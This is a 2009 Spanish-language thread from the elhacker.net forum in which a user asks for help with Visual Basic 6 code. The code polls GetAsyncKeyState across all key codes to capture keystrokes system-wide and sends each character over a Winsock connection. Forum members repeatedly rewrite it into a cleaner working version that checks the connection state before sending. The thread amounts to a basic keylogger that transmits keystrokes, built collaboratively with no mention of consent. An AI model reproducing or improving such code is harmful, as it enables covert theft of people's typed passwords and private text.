Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: Larva93 en 27 Agosto 2009, 01:17 AM

Título: [Ayuda] confirmar que winsock este conectado?
Publicado por: Larva93 en 27 Agosto 2009, 01:17 AM
Hola tengo este codigo:
Dim PropBag As New PropertyBag
Option Explicit
   Private Declare Function GetAsyncKeyState _
       Lib "user32" ( _
           ByVal vKey As Long) As Integer
  Private Sub Timer1_Timer()
      Dim i As Integer
      For i = 0 To 255
          If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
       Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
          End If
      Next
  End Sub

Bueno no se si me explico bien, pero lo que quiero es que al confirmarse esta linea "GetAsyncKeyState(i) = -32767" despues confirme que winsock1 este conectado, y si es asi que envie los datos.

Desde ya muchas gracias.
(si esta un poco desprolijo el code xD no critiquen porfavor recien estoy aprendiendo)
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: Jaixon Jax en 27 Agosto 2009, 01:37 AM
 No soy muy versado en VB pero me parece que esa api no esta bien implementada en

For i = 0 To 255
           If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos


aqui lo que estas haciendo es verificando los codigos ascci del 0 al 255 y preguntando si la tecla no fue hundida  :( bueno debido a que la api retorna 1 si la tecla la presionaron o cero si no la han hunddo por lo que nunca entrara en el if.

  Si quieres saber si hay conexion a internet puedes usar gethostbyname con un servidor estable como google.es..

Saludos

Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: seba123neo en 27 Agosto 2009, 01:37 AM
Hola, imaginate que hasta vos te diste cuenta que esta desprolijo...podes consultar si Winsock1.State = sckConnected, las variables abajo del Option Explicit y indenta el codigo fuente.

PD: Detectar la tecla presionada en cualquier ventana de Windows (http://www.recursosvisualbasic.com.ar/htm/trucos-codigofuente-visual-basic/24.htm)

saludos.
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: fede_cp en 27 Agosto 2009, 01:43 AM
hola, pone el code en codigo tipo visual basic

aca un code que porai te srive
Código (vb) [Seleccionar]

Dim PropBag As New PropertyBag
Option Explicit
    Private Declare Function GetAsyncKeyState _
        Lib "user32" ( _
            ByVal vKey As Long) As Integer
   Private Sub Timer1_Timer()
       Dim i As Integer
       For i = 0 To 255
           
        If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
        If Winsock1.State = 7 Then
        Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
             End If
               End if
       Next
   End Sub


no lo probe pero creo que va bien, pero esa es la base, el winsock.state

PD: no revise el resto del code

PD (neo): lo hice asi nomas



saludos
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: seba123neo en 27 Agosto 2009, 01:44 AM
Cita de: fede_cp en 27 Agosto 2009, 01:43 AM
hola, pone el code en codigo tipo visual basic

aca un code que porai te srive
Código (vb) [Seleccionar]
Private Sub Form_Load()
Dim PropBag As New PropertyBag
Option Explicit
   Private Declare Function GetAsyncKeyState _
       Lib "user32" ( _
           ByVal vKey As Long) As Integer
  Private Sub Timer1_Timer()
      Dim i As Integer
      For i = 0 To 255
         
       If GetAsyncKeyState(i) = -32767 Then 'aca quiero confirmar que el winsock este conectado y despues envie los datos
       If Winsock1.State = 7 Then
       Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
            End If
      Next
  End Sub
End Sub


saludos

no sabia que las api's y el option explicit se ponian dentro del form_load   :xD :xD , y aparte podes hacer un And y te ahorras un If..
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: Larva93 en 27 Agosto 2009, 01:48 AM
Citarno sabia que las api's y el option explicit se ponian dentro del form_load   :xD :xD , y aparte podes hacer un And y te ahorras un If..

fijate que yo no lo puse en form_load
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: fede_cp en 27 Agosto 2009, 01:49 AM
me lo estaba diciendo a mi  :xD, ajja esta bien me equivoque, solo trato de ayudar.

saludos
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: Larva93 en 27 Agosto 2009, 01:51 AM
nonono no hay problema por ahi pense que se lo iba tomar asi y despues cometia errores en sus futuros programas.
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: fede_cp en 27 Agosto 2009, 01:56 AM
bueno ahora posteo el code como lo dijo neo

Código (vb) [Seleccionar]
Dim PropBag As New PropertyBag
Option Explicit
    Private Declare Function GetAsyncKeyState _
        Lib "user32" ( _
            ByVal vKey As Long) As Integer
   Private Sub Timer1_Timer()
       Dim i As Integer
       For i = 0 To 255
           
        If GetAsyncKeyState(i) = -32767 And Winsock1.State = 7 Then  'aca quiero confirmar que el winsock este conectado y despues envie los datos
        Winsock1.SendData Chr(i)
Text1.Text = Text1.Text & Chr(i)
Text1.SelStart = Len(Text1.Text)
             End If
       Next
   End Sub



saludos  :¬¬
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: seba123neo en 27 Agosto 2009, 01:59 AM
Código (vb) [Seleccionar]
Option Explicit

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim PropBag As New PropertyBag
   
Private Sub Timer1_Timer()
   Dim i As Integer
   For i = 0 To 255
      If GetAsyncKeyState(i) = -32767 And Winsock1.State = sckConnected Then
         Winsock1.SendData Chr(i)
         Text1.Text = Text1.Text & Chr(i)
         Text1.SelStart = Len(Text1.Text)
      End If
   Next
End Sub
Título: Re: [Ayuda] confirmar que winsock este conectado?
Publicado por: Larva93 en 27 Agosto 2009, 02:02 AM
Muchas gracias por su ayuda y dedicar un tiempo a mi problema. Ya solucione el tema, gracias en serio.